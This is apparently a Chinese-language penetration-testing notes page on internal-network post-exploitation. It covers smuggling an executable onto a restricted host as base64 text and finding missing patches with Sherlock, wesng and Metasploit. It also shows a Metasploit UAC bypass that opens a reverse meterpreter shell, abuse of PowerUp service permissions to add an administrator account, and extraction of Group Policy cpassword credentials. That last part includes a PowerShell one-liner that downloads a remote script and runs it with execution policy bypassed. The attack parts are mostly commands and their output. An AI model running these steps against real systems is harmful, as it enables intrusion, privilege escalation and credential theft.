漏洞发现&组策略凭证

13、内网中绕过无法上传文件限制

1、前言

有次发现这样的一个情况,目标云桌面不出网且不允许上传文件但是可以复制文本,于是便想着通过 PowerShell 将 exe 程序编码成 base64 文本,将编码后的内容复制到目标主机后,再进行解码,这里记录下方法。

2、PowerShell

使用 PowerShell 进行 base64 编码

$PEBytes = [System.IO.File]::ReadAllBytes("fscan.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content fscan_base64.txt -Value $Base64Payload

使用 PowerShell 进行 base64 解码

$Base64Bytes = Get-Content ("fscan_base64.txt")
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
[System.IO.File]::WriteAllBytes("fscan_base64.exe",$PEBytes)

3、CertUtil

自 Windows 7 开始,Windows 自带了 CertUtil 命令,可以使用 CertUtil 进行 MD5、SHA1 等算法的计算,也可以使用 CertUtil 进行 base64 的编码,使用起来要比 PowerShell 方便不少。

使用 CertUtil 进行编码

CertUtil -encode fscan.exe fscan_base64.txt

使用 CertUtil 进行解码

CertUtil -decode fscan_base64.txt fscan_base64.exe

参考文章:

https://www.cnblogs.com/lfoder/p/8241548.html

14、发现主机缺失补丁

0、前言

在内网中,往往所有主机打补丁的情况都是相似的,因此在拿下一台主机权限后,可以通过查看当前主机打补丁的情况,从而找到漏洞利用点,进而进行接下来的横向、提权等操作。

1、手工发现缺失补丁

systeminfo

直接运行 systeminfo 命令,在「修补程序」(英文:Hotfix(s) )处可以看到已安装的补丁。

C:\Users\teamssix> systeminfo
……内容过多,此处省略……
修补程序: 安装了 2 个修补程序。
         [01]: KB2999226
         [02]: KB976902
……内容过多,此处省略……

wmic

运行以下命令,同样可以看到当前系统打补丁的情况,显示的信息比 systeminfo 更详细直观。

wmic qfe get Caption,Description,HotfixID,InstalledOn
C:\Users\teamssix>wmic qfe get Caption,Description,HotfixID,InstalledOn

Caption                                     Description  HotFixID   InstalledOn
http://support.microsoft.com/?kbid=2999226  Update       KB2999226  11/26/2020
http://support.microsoft.com/?kbid=976902   Update       KB976902   11/21/2010

知道了系统安装了哪些补丁,也就能反推出系统可能存在的漏洞了。

2、自动发现缺失补丁

Sherlock 脚本

Sherlock 是一个在 Windows 下能够快速发现目标系统可能存在可被用于提权的漏洞的 PowerShell 脚本。

Sherlock 项目地址:https://github.com/rasta-mouse/Sherlock

导入脚本

Import-Module .\Sherlock.ps1

Sherlock 命令

Find-ALLVulns    搜索所有未安装的补丁
Find-MS16032    搜索单个漏洞

Metasploit

在已经获取到目标会话后,比如这里的会话 Seesion ID 为 1,使用 post/windows/gather/enum_patches 模块可直接查看当前系统补丁信息。

msf6 exploit(multi/handler) > use post/windows/gather/enum_patches

msf6 post(windows/gather/enum_patches) > set session 1
session => 1

msf6 post(windows/gather/enum_patches) > run
[+] KB2999226 installed on 11/26/2020
[+] KB976902 installed on 11/21/2010
[*] Post module execution completed

或者使用 MSF 发现目标可用提权漏洞,然后进行提权

首先查看下当前会话权限

msf6 post(windows/gather/enum_patches) > sessions 1
[*] Starting interaction with 1...

meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 6 created.

组信息
-----------------

组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
控制台登录                             已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192  必需的组, 启用于默认, 启用的组

可以看到当前权限为 Medium Mandatory Level,即普通权限

我们使用 post/multi/recon/local_exploit_suggester 模块检测下当前系统可利用的提权漏洞

meterpreter > background
[*] Backgrounding session 1...

msf6 post(windows/gather/enum_patches) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 172.16.214.4 - Collecting local exploits for x86/windows...
[*] 172.16.214.4 - 38 exploit checks are being tried...
[+] 172.16.214.4 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[*] Post module execution completed

可以看到提示存在 exploit/windows/local/bypassuac_eventvwr 模块可被利用

msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_eventvwr
[*] Using configured payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1

msf6 exploit(windows/local/bypassuac_eventvwr) > run
[*] Started reverse TCP handler on 10.101.22.38:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (175174 bytes) to 172.16.214.4
[*] Meterpreter session 2 opened (10.101.22.38:4444 -> 172.16.214.4:49160) at 2021-07-06 15:38:08 +0800
[*] Cleaning up registry keys ...

meterpreter > execute -if "whoami /groups"
Process 3048 created.
Channel 1 created.

组信息
-----------------

组名                                 类型   SID          属性
==================================== ====== ============ ==========================================
Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
BUILTIN\Administrators               别名   S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者
BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE             已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
控制台登录                           已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication     已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\High Mandatory Level 标签   S-1-16-12288 必需的组, 启用于默认, 启用的组

可以看到,使用 exploit/windows/local/bypassuac_eventvwr 模块直接将目标权限提升到了 High Mandatory Level,即管理员权限,这里可以说 MSF 很方便了。

wesng

wesng 被称为 Windows Exploit Suggester 的下一代,wesng 和 Windows Exploit Suggester 的使用方法基本一致,但 wesng 所支持的操作系统更丰富,不过实测 wesng 还未支持 Windows 11 『手动狗头』

wesng 的安装方法也很简单

git clone https://github.com/bitsadmin/wesng.git
cd wesng
python wes.py --update

使用起来也很简单,直接在目标主机上运行以下命令,将 systeminfo 的信息保存到 txt 中。

systeminfo > info.txt

直接使用 wesng 即可

python wes.py info.txt

使用 wesng 可以直接看到目标主机可能存在的 CVE 漏洞,从而便于我们有针对性的利用这些漏洞。

参考文章:

https://cloud.tencent.com/developer/article/1043370

https://blog.csdn.net/nathan8/article/details/108804056

15、系统服务权限配置不当利用

PowerUp

PowerUp 可以用来寻找目标中权限配置不当的服务,下载地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

在 PowerShell 中导入并执行脚本

Import-Module .\PowerUp.ps1
Invoke-AllChecks

如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}"

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

ServiceName    : MongoDB
Path           : C:\Web\mongodb\bin\mongod.exe --auth --config C:\Web\mongodb\mongod.conf --s
                 ervice
ModifiableFile : C:\Web\mongodb\mongod.conf
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -ServiceName 'MongoDB'

由于结果可能比较长,因此也可以将其保存到 txt 文件里,方便查看

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks | Out-File -Encoding ASCII result.txt}"

从检查的结果可以看出 MongoDB 服务存在漏洞,利用 Install-ServiceBinary 模块,通过 PowerUp 利用该处权限配置不当添加管理员用户。

powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"
PS C:\Users\teamssix\Desktop> powershell.exe -exec bypass -command "&{Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'MongoDB' -UserName test -Password Passw0rd}"

ServiceName                   ServicePath                   Command                       BackupPath
-----------                   -----------                   -------                       ----------
MongoDB                       C:\Web\mongodb\bin\mongod...  net user test Passw0rd /ad... C:\Web\mongodb\bin\mongod...

重启系统,查看用户,发现 test 已经被添加到管理员组了。

PS C:\Users\teamssix\Desktop> net user test
用户名                 test
全名
……
本地组成员             *Administrators       *Users
全局组成员             *None
命令成功完成。

Metasploit

在 MSF 中,先看下已上线主机的权限

meterpreter > getuid
Server username: TEAMSSIX\dev

MSF 中对应服务权限配置不当的利用模块是 exploit/windows/local/service_permissions

利用步骤如下:

use exploit/windows/local/service_permissions
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.7.1
set lport 4444
set session 1
run

可以看到会话直接被提升到了 SYSTEM 权限。

参考文章:

https://evi1cg.me/archives/Powerup.html

16、组策略凭据获取

0、前言

SYSVOL 是活动目录里的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控之间进行复制,SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录域范围内共享,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目录中。

管理员在域中新建一个组策略后,系统会自动在 SYSVOL 目录中生成一个 XML 文件。

该文件中保存了该组策略更新后的密码,该密码使用 AES-256 算法,但 2012 年微软公布了该密码的私钥,也就是说任何人都可以对其进行解密。

1、查找包含 cpassword 的 XML 文件

浏览 SYSVOL 文件夹,手动查找包含 cpassword 的 XML 文件

或者使用 findstr 自动搜索包含 cpassword 的 XML 文件

findstr /s /i "cpassword" C:\Windows\SYSVOL\*.xml

2、解密 cpassword 密文

python 脚本

Gpprefdecrypt.py 下载地址:https://raw.githubusercontent.com/leonteale/pentestpackage/master/Gpprefdecrypt.py

python2.7 Gpprefdecrypt.py Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0

PowerShell 脚本

PowerSploit 项目中提供了 Get-GPPPassword.ps1 脚本。

脚本下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

直接远程下载脚本执行:

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"

如果无法下载可以使用 github 代理

PowerShell.exe -Exec Bypass -C "IEX(New-Object Net.WebClient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"

或者下载到本地,执行也行

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

如果 PowerShell 由于处在受限模式以至于无法导入脚本,可以使用以下命令绕过。

powershell.exe -exec bypass -command "&{Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword}"

MSF

使用 post/windows/gather/credentials/gpp 模块也可以

use post/windows/gather/credentials/gpp
set session 1
run

Last updated

Was this helpful?